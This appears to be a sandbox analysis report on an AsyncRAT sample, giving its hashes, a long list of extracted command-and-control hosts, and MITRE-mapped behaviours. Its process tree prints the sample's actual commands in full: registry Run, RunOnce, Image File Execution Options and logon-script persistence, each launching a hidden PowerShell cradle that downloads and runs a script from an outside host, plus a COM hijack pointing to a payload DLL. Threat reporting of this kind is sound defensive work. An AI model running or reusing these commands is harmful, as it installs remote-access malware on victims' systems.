asyncrat | ae0a2506ad4a6d2a83cf45f3cefb55c6126b4701fcc4496082a29fcade4565bd

General

Target
Chua tay dau 5.exe
Size 62KB
Sample260928-ddbt3asy5m
SHA256 ae0a2506ad4a6d2a83cf45f3cefb55c6126b4701fcc4496082a29fcade4565bd
MD5 057c8db5ab1f3250028e356bacabbed8
SHA1 82aab67bdb9016496d14eeae7231a740bf9c99c0
SHA512 04d97597f9b0ec445c56bebffde04969a4a59d51eaf4facda83703e98d537f1e46f301a3bbc1f7f1595ff10e414c88d3449bea891d94a0962919f0772512300a
SSDEEP 768:GMwv5iRyHfdGw3377kdyGr8TMJg6mMZFb6Mg8z6jMoenIScDebTgLWi7Whlem1Td:Tkcw35y5ejMjn3zbMLw8tmcXzr0x
TLSH
T1F953290437F88526F2BE9BBC98F261454675F2636512DB4E1CD421DB0A12BC2DA42BFF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence privilege_escalation rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://casino-igrice.me/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

akuwin138.co:8080
akuwin138.co:443
akuwin138.co:80
www.akuwin138.co:8080
www.akuwin138.co:443
www.akuwin138.co:80
demenslot.vip:8080
demenslot.vip:443
demenslot.vip:80
www.demenslot.vip:8080
www.demenslot.vip:443
www.demenslot.vip:80
chengzhi888.co:8080
chengzhi888.co:443
chengzhi888.co:80
www.chengzhi888.co:8080
www.chengzhi888.co:443
www.chengzhi888.co:80
hi88com.biz:8080
hi88com.biz:443
hi88com.biz:80
www.hi88com.biz:8080
www.hi88com.biz:443
www.hi88com.biz:80
casino-igrice.me:8080
casino-igrice.me:443
casino-igrice.me:80
www.casino-igrice.me:8080
www.casino-igrice.me:443
www.casino-igrice.me:80
hi88.chat:8080
hi88.chat:443
hi88.chat:80
www.hi88.chat:8080
www.hi88.chat:443
www.hi88.chat:80
c2.akuwin138.co:8080
c2.akuwin138.co:443
c2.akuwin138.co:80
c2.demenslot.vip:8080
c2.demenslot.vip:443
c2.demenslot.vip:80
c2.chengzhi888.co:8080
c2.chengzhi888.co:443
c2.chengzhi888.co:80
c2.hi88com.biz:8080
c2.hi88com.biz:443
c2.hi88com.biz:80
c2.casino-igrice.me:8080
c2.casino-igrice.me:443
c2.casino-igrice.me:80
c2.hi88.chat:8080
c2.hi88.chat:443
c2.hi88.chat:80
s666hn.com:8080
s666hn.com:443
s666hn.com:80
mb66ax.com:8080
mb66ax.com:443
mb66ax.com:80

Mutex

rUxisx2Y3YTZ

Attributes

delay
3
install
false
install_file
App.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
114	5412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5412	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 5 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdateSvc = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdateOnce = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\""	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5704	cmd.exe
2924	cmd.exe
1136	cmd.exe
4588	cmd.exe
292	cmd.exe
4144	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Chua tay dau 5.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Chua tay dau 5.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Chua tay dau 5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\Temp\\payload.dll"	reg.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
2584	Chua tay dau 5.exe
5412	powershell.exe
5412	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	Chua tay dau 5.exe
Token: SeDebugPrivilege	5412	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 5704	2584	Chua tay dau 5.exe	88
PID 2584 wrote to memory of 2924	2584	Chua tay dau 5.exe	90
PID 2584 wrote to memory of 1136	2584	Chua tay dau 5.exe	92
PID 5704 wrote to memory of 5616	5704	cmd.exe	94
PID 2584 wrote to memory of 4588	2584	Chua tay dau 5.exe	95
PID 2924 wrote to memory of 2788	2924	cmd.exe	97
PID 2584 wrote to memory of 292	2584	Chua tay dau 5.exe	98
PID 1136 wrote to memory of 4856	1136	cmd.exe	100
PID 2584 wrote to memory of 4144	2584	Chua tay dau 5.exe	101
PID 4588 wrote to memory of 1292	4588	cmd.exe	103
PID 292 wrote to memory of 4628	292	cmd.exe	104
PID 4144 wrote to memory of 2728	4144	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\Chua tay dau 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chua tay dau 5.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5704
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:5616
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2788
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:1292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:292
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:2728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://casino-igrice.me/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5412